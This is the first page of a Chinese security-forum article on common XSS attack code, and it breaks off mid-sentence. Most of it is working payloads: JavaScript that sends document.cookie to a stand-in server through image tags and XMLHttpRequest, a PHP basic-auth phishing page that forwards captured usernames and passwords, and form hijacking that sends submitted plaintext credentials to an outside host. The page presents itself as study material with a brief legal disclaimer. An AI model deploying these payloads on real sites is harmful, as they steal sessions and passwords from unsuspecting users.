欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

XSS常见利用代码及原理

来源:本站整理 作者:佚名 时间:2016-12-13 TAG: 我要投稿

 XSS是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。常见的利用方式有cookie获取、基础认证钓鱼、表单劫持等。通常,在发现XSS漏洞后,会利用跨站平台里面的payload来进行攻击。但是,要更好的理解XSS的危害,还是需要自己动手来写并理解XSS的攻击代码。 ps. 本文所涉及代码仅做测试使用,请不要用于非法用途!

Cookie偷取

XSS最常见的手段大概就是获取Cookie了吧。

  1. javascript创建img标签,利用img的跨域请求将cookie信息传递到我们的服务器上

    var cookie = document.cookie;
    var ele = document.createElement("img"); //创建img标签
    var time = new  Date();
    ele.src = "http://yourserver.com/xss/xss_cookie/cookie1.php?cookie="+cookie+"&location="+window.location.href+"&time="+time;  //cookie获取
    ele.id = "imgs";
    
  2. ajax发起简单跨域请求

    function ajax(){
      var xmlHttp;
      try {
        xmlHttp = new XMLHttpRequest();
      }catch(e){
        try{
          xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
        }catch(e){
          try{
            xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
          }catch(e){
            return false
          }
        }
      }
      return xmlHttp;
    }
    xml = ajax(); //实例化ajax请求对象
    url = "http://yourserver.com/xss/xss_cookie/cookie1.php?cookie="+document.cookie+"&location="+window.location.href;
    xml.open("GET",url,true);  //若要传递的数据量较大,可利用 POST方法;xml.open("POST",url,true);xml.send("cookie="+cookie+"&location="+locations);
    xml.send();
    

基础认证钓鱼

查了查资料,基础认证钓鱼在2012年流传比较广(那时我还只是孩子呀…),通常是你浏览着网站突然弹出一个基础认证的框。其实,所有可以利用标签插入外部资源的网站都可能存在这个漏洞。通常,在论坛等地方,可以自定义引用外部图片(其实就是利用img标签),将src链接到一个需要基础认证后才行访问的资源,那么就会产生弹窗。用你的路由器后台地址试试。

<html>
<img src="http://192.168.1.1"> //大家知道访问路由器后台,是需要基础认证的,这里可以试试
</html>

了解基础认证钓鱼的原理后,可以联想到XSS也是实现该漏洞的一种方式。这里先利用php构造一个基础认证页面fish.php,

<?php
if($_SERVER['PHP_AUTH_PW'] =="" || $_SERVER['PHP_AUTH_USER'] =="" ) 
{ 
header('WWW-Authenticate: Basic realm="info you want"'); //自定义描述
header('HTTP/1.0 401 Unauthorized');                     //401未认证
} 
else{ 
$user = $_SERVER['PHP_AUTH_USER']; 
$pass = $_SERVER['PHP_AUTH_PW']; 
$fish = "username:".$user."  password:".$pass; 
header("location:http://yourserver.com/fish_get.php?c=$fish"); //受害者在填写用户名和密码后,location跳转到密码接收页面
} 
?>

利用js构造img引用该资源(任何可以引用外部资源的标签,如script)

var img = new Image();
img.src="http://youserver.com/fish.php"

表单劫持

劫持onsubmit方法

在提交form表单时,通常会调用onsubmit方法。在onsubmit被调用时,说明表单中该填的项肯定都已经填好了,这时,我们通过修改onsubmit方法,便可以获取表单中的信息。 

var f=document.forms['myform'];       //获取form对象
if(f==undefined)
{
        f=document.getElementById('formid');
}
var func=f.onsubmit;
f.onsubmit=function(event)
{
    var str='';
	for(var i=0;i<f.elements.length;i++)
	{
		str+=f.elements[i].name+':'+f.elements[i].value+'||'; //获取form中元素的值
	}
	str=str.substr(0,str.length-2);
	var img=new Image();
	img.src='http://myserver.com/img.php?data='+escape(str)+'&url='+escape(location.href);   //将获取的明文密码传递出去
	func(event);
	return true;
}

修改action指向

通过js将form表单中的action地址修改,也可偷取明文密码

var f=document.forms['myform'];
if(f==undefined)
{
        f=document.getElementById('formid');
}
f.action = "http://myserver.com/accept.php";  //在 accept.php中接受POST过来的字段

但是这种方式容易被CSP拦截(限制action指向的页面所在域)

获取浏览器记住的明文密码

在用户登录时,浏览器通常会提示保存密码。点击保存后,下次再次访问该登录页面,浏览器会自动将保存的用户名和密码填充。所以,利用XSS

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载